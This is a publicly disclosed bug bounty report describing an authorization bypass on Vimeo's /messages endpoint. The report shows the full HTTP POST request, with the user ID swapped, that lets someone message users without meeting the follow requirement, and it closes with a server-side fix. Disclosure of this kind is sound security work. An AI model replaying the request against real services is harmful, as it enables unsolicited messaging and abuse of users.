HexBrain

Vimeo · Report #46113

Can message users without the proper authorization

Validstatus
7upvotes
1 Apr 2015disclosed

How it was found

It shouldn't be possible to send messages to users without following users:

You must be following at least one Vimeo member before you can send a private message. To get started, find a friend, family member, or someone with cool videos and click the "Follow" button on their profile page.

It's possible to bypass that by just sending a POST request to /messages:

POST /messages HTTP/1.1
Host: vimeo.com
User-Agent: [CENSORED]
Accept: text/html, application/xml, text/xml, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Referer: https://vimeo.com/messages
Content-Length: 141
Cookie: [CENSORED]
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

name=Jens>&text=blaat&action=send_message&lightbox=true&user=[ANY USER ID HERE]&token=[CENSORED]

You can replace the user parameter with any random user ID and it will send the message without any issues.

Fix: Add proper server side authorization on the /messages endpoint.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original